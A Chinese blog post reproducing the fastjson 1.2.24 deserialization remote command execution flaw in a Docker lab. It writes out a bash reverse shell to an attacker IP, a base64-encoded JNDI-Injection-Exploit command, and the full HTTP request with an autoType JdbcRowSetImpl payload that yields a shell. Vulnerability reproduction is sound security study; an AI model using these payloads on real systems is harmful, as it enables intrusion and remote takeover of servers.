fastjson 1.2.24 反序列化导致任意命令执行漏洞复现

前言

fastjson是阿里巴巴的开源JSON解析库,它可以解析JSON格式的字符串,的作用就是把java对象转换为json形式,也可 以用来将json转换为java对象。

fastjson在解析json的过程中,支持使用autoType来实例化某一个具体的类,并调用该类的set/get方法来访问属性。通过查找代码中相关的方法,即可构造出一些恶意利用链。

环境搭建

启动测试环境

sudo docker-compose up -d

fastjson 1.2.24 反序列化导致任意命令执行漏洞复现_第1张图片

环境运行后,访问http://your-ip:8090即可看到JSON格式的输出。
fastjson 1.2.24 反序列化导致任意命令执行漏洞复现_第2张图片

漏洞复现

因为目标环境是Java 8u102,没有com.sun.jndi.rmi.object.trustURLCodebase的限制,我们可以使用com.sun.rowset.JdbcRowSetImpl的利用链,借助JNDI注入来执行命令。

这是一个比较常用的攻击类com.sun.rowset.JdbcRowSetImpl

这是sun 官方提供的一个类库,这个类的 dataSourceName 支持传入一个rmi 的源,当解析这个 uri 的时候,
就会支持 rmi远程调用 ,去指定的rmi 地址中去调用方法 

反弹shell,JNDI注入

反弹shell的命令是下面这个,6565是监听的端口,可以随意改,合理即可。

bash -i >& /dev/tcp/攻击机ip地址/6565 0>&1

使用java执行shell命令需要加密一下
在线地址:https://woj.app/jjm/
fastjson 1.2.24 反序列化导致任意命令执行漏洞复现_第3张图片

接着用就要使用大佬的JNDI工具
首先去下载一下
https://github.com/welk1n/JNDI-Injection-Exploit/releases/tag/v1.0
fastjson 1.2.24 反序列化导致任意命令执行漏洞复现_第4张图片

执行如下命令

./java -jar /home/kali/JNDI-Injection-Exploit-1.0-SNAPSHOT-all.jar -C "bash -c {echo,加密内容}|{base64,-d}|{bash,-i}" -A "攻击机IP"

fastjson 1.2.24 反序列化导致任意命令执行漏洞复现_第5张图片

紫色的就是payload。
注意:java太高的版本会报如下错误,换低一些的版本就可以

fastjson 1.2.24 反序列化导致任意命令执行漏洞复现_第6张图片

然后另起一个终端,在kali上上开启监听,监听端口为反弹shell的端口6565
在这里插入图片描述

然后到攻击步骤。
注意了,这里的Content-Type字段要application/json。否则不行。

POST / HTTP/1.1
Host: 靶机url
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/108.0.5359.125 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
Connection: close
Content-Type: application/json
Content-Length: 162


{
    "b":{
        "@type":"com.sun.rowset.JdbcRowSetImpl",
        "dataSourceName":"payload",
        "autoCommit":true
    }
}

在BP抓包,然后将Host和payload更改,发送请求:
fastjson 1.2.24 反序列化导致任意命令执行漏洞复现_第7张图片

回到kali
fastjson 1.2.24 反序列化导致任意命令执行漏洞复现_第8张图片

成功反弹!!!
fastjson 1.2.24 反序列化导致任意命令执行漏洞复现_第9张图片

你可能感兴趣的:(漏洞复现,java,web安全,安全,系统安全)